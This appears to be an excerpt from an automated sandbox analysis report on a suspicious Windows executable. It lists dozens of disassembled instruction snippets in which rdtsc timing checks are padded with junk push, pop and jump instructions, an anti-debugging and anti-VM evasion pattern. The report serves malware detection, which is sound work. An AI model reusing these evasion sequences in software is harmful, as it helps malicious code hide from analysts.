Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: ED227F second address: ED228C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jno 00007F17B0CB1426h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: ED228C second address: ED22B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f js 00007F17B0FBC266h 0x00000015 jne 00007F17B0FBC266h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e jg 00007F17B0FBC266h 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: ED22B2 second address: ED22B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: ED255F second address: ED2563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: ED2829 second address: ED286A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F17B0CB1431h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F17B0CB1434h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push ebx 0x00000015 jmp 00007F17B0CB142Eh 0x0000001a push ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EDC291 second address: EDC2BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC272h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F17B0FBC278h 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 jg 00007F17B0FBC26Eh 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EDB5BD second address: EDB5C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EDB5C2 second address: EDB5C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EDBCCA second address: EDBD0D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnp 00007F17B0CB1426h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F17B0CB1435h 0x00000011 pop ecx 0x00000012 pushad 0x00000013 jmp 00007F17B0CB1437h 0x00000018 push edi 0x00000019 pushad 0x0000001a popad 0x0000001b push edx 0x0000001c pop edx 0x0000001d pop edi 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EDBD0D second address: EDBD2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F17B0FBC278h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EDBE90 second address: EDBE94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EE3E4F second address: EE3E58 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EE3E58 second address: EE3E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EE4103 second address: EE412A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC26Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F17B0FBC26Ch 0x00000010 jg 00007F17B0FBC266h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EE455F second address: EE4565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EE4565 second address: EE4569 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EE484F second address: EE4853 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EE4853 second address: EE486B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F17B0FBC26Ah 0x0000000d jnc 00007F17B0FBC266h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EE4B55 second address: EE4B7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0CB1436h 0x00000007 jmp 00007F17B0CB142Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EE5234 second address: EE5238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EE5238 second address: EE523C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EE523C second address: EE5246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EE5246 second address: EE524C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EEC813 second address: EEC81D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F17B0FBC266h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EEC81D second address: EEC821 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EEC821 second address: EEC83E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F17B0FBC274h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EF99E1 second address: EF9A09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F17B0CB1431h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F17B0CB142Fh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EFC52C second address: EFC532 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F083DC second address: F083F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jc 00007F17B0CB1426h 0x0000000c jc 00007F17B0CB1426h 0x00000012 jo 00007F17B0CB1426h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F083F5 second address: F083FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F17B0FBC266h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F0F5CA second address: F0F5DF instructions: 0x00000000 rdtsc 0x00000002 jo 00007F17B0CB1426h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c ja 00007F17B0CB1456h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F0F5DF second address: F0F5E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F15721 second address: F15725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F15725 second address: F15729 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F15729 second address: F1573B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F17B0CB142Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F1573B second address: F15744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F15744 second address: F1574A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F1574A second address: F1574F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F1574F second address: F15756 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F1B444 second address: F1B44E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F17B0FBC266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F1B44E second address: F1B45E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F17B0CB1426h 0x0000000a jbe 00007F17B0CB1426h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F1B45E second address: F1B474 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC26Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F1B5A2 second address: F1B5AC instructions: 0x00000000 rdtsc 0x00000002 jng 00007F17B0CB1426h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F1B877 second address: F1B87C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F1B87C second address: F1B891 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F17B0CB1431h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F1B891 second address: F1B8B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F17B0FBC277h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F1BA6A second address: F1BA6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F1BBEE second address: F1BBF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F1BBF4 second address: F1BC07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F17B0CB1426h 0x0000000d js 00007F17B0CB1426h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F1BC07 second address: F1BC0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F1BC0B second address: F1BC13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F1BC13 second address: F1BC2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F17B0FBC276h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F1C8FC second address: F1C900 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F1FDAE second address: F1FDBC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F17B0FBC26Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F21D87 second address: F21DA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F17B0CB1426h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d push esi 0x0000000e pushad 0x0000000f popad 0x00000010 jl 00007F17B0CB1426h 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F3437B second address: F3437F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F5B9AC second address: F5B9B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F5B642 second address: F5B669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jnp 00007F17B0FBC268h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F17B0FBC276h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F5B669 second address: F5B6B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0CB1434h 0x00000007 jmp 00007F17B0CB1435h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jne 00007F17B0CB142Ch 0x00000017 jns 00007F17B0CB142Eh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F5D360 second address: F5D3A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC26Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F17B0FBC274h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 jmp 00007F17B0FBC26Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F17B0FBC275h 0x00000022 jl 00007F17B0FBC266h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F5D3A4 second address: F5D3BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0CB1431h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F5D3BB second address: F5D3EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F17B0FBC274h 0x0000000a jmp 00007F17B0FBC279h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F5D16E second address: F5D176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F5D176 second address: F5D1A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC272h 0x00000007 jmp 00007F17B0FBC275h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F5D1A4 second address: F5D1DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jo 00007F17B0CB1426h 0x0000000f jmp 00007F17B0CB142Eh 0x00000014 pushad 0x00000015 popad 0x00000016 ja 00007F17B0CB1426h 0x0000001c popad 0x0000001d jmp 00007F17B0CB1435h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F5FF66 second address: F5FF6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F5FF6B second address: F5FF85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F17B0CB1436h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F5FF85 second address: F5FF89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F5FF89 second address: F5FFC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007F17B0CB1438h 0x00000010 stc 0x00000011 push 00000004h 0x00000013 add edx, dword ptr [ebp+1248C2A7h] 0x00000019 push A2E76742h 0x0000001e pushad 0x0000001f pushad 0x00000020 jmp 00007F17B0CB142Ah 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F5FFC8 second address: F5FFD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jns 00007F17B0FBC266h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F60226 second address: F6024B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F17B0CB1435h 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F6024B second address: F6024F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F6024F second address: F60255 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F60255 second address: F6025F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F17B0FBC266h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F6025F second address: F6028B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007F17B0CB1430h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jp 00007F17B0CB142Ch 0x0000001b rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F63347 second address: F63357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 ja 00007F17B0FBC26Eh 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F62E3C second address: F62E8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 jnc 00007F17B0CB1426h 0x0000000d jng 00007F17B0CB1426h 0x00000013 jmp 00007F17B0CB1434h 0x00000018 popad 0x00000019 pop edi 0x0000001a push eax 0x0000001b push edx 0x0000001c jc 00007F17B0CB142Ch 0x00000022 jg 00007F17B0CB1437h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F62E8A second address: F62E92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: F64FF6 second address: F65003 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jno 00007F17B0CB1426h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5420E6A second address: 5420EAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F17B0FBC273h 0x00000009 xor si, 39AEh 0x0000000e jmp 00007F17B0FBC279h 0x00000013 popfd 0x00000014 push ecx 0x00000015 pop edx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5420EAC second address: 5420EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5420EB0 second address: 5420EB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5420EB4 second address: 5420EBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5420EBA second address: 5420EE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F17B0FBC26Ah 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F17B0FBC273h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5420EE3 second address: 5420EE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5420EE7 second address: 5420EED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5410CED second address: 5410CF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5460010 second address: 5460016 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5460016 second address: 5460027 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F17B0CB142Dh 0x00000009 rdtsc
